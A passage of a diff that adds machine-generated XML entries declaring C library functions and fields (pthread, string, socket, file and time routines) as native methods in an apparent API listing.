+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getschedpolicy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ptsname_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="alphasort64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nftw" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pread" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getsubopt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strpbrk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswpunct" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vsprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inotify_rm_watch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigaltstack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fallocate64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="towlower_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="send" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scandirat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_read_callback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkostemp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isnanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fdatasync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="seekdir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="hstrerror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isfinitef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="process_vm_writev" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__errno" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__isnanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clock_getcpuclockid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="shmctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strxfrm_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timer_settime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="towupper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lldiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isfinitel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dirfd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_equal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigismember" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vwscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_type" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fbufsize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_setschedpolicy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__p_time" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lutimes" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_nsap_ntoa" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mblen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strcoll_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__sched_cpufree" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ctermid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="semtimedop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="msgrcv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isxdigit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mbrtowc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="toupper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fchdir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_post" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="usleep" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="towupper_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getnameinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__openat_2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getwc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isupper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigtimedwait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wctrans_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="uname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtold_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fpclassify" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isgraph_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="unsetenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="waitid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkostemps" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ctime_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="imaxdiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="splice" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="waitpid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="environ" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtoimax" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ferror_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="truncate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="capset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isblank" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="time" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_hostalias" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wait4" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_makecanon" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fstatat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="posix_fallocate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strerror_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getgrnam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="rename" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstold" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="memcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_format_ttl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strerror_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strxfrm" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="recvfrom" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eventfd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strchr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstoll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dup2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mbsrtowcs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="openat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="basename" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dup3" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__memrchr_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getc_unlocked" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsncasecmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fstat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mlockall" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="posix_madvise" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="timer_gettime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wmemmove" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="__p_type_syms" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ioctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="flockfile" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strcasecmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strlcat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="swprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sysconf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="open_memstream" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lsearch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_key_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fgetxattr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fp_query" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fchown" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vmsplice" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="system" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ferror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pselect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_ownok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strlcpy_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="putwc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcspbrk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="eventfd_write" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_queriesmatch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_get_priority_min" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="statfs64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="unshare" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_get16" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fstatfs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="renameat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tolower_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fpathconf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__FD_SET_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_cond_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getifaddrs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_sprintrr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_samename" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strftime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_finalize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="closelog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strsignal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__get_h_errno" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="regexec" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="div" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getgrnam_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fwrite_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="acct" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sendto" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ttyname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkostemp64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="get_nprocs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigblock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setitimer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_name_compress" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getstack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strchrnul" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__cxa_atexit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wmemset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fwprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="open64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="signal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__memchr_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ffs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mbtowc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="alphasort" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dn_expand" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswlower_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="preadv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="unlinkat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fputc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="toupper_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcschr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strncat_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lrand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mknod" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_yield" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="__p_class_syms" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setfsuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isdigit_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strcat_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clock_adjtime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_unlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutexattr_settype" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fputs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strncasecmp_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="optreset" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isalnum_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="listen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="perror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="stdout" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wctype_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="popen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtoull" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_get32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vwarn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mbstowcs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strncmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_parserr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="utimes" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scandir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_spin_trylock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="regcomp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsxfrm" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cfgetispeed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_exit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ns_put16" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pututline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setlogmask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="towlower" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswupper_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkstemp64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_self" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setbuf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_trywait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__libc_current_sigrtmax" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcscasecmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isdigit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sendmsg" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtoul_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__stpncpy_chk2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswupper" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="realloc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tdestroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nftw64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ppoll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
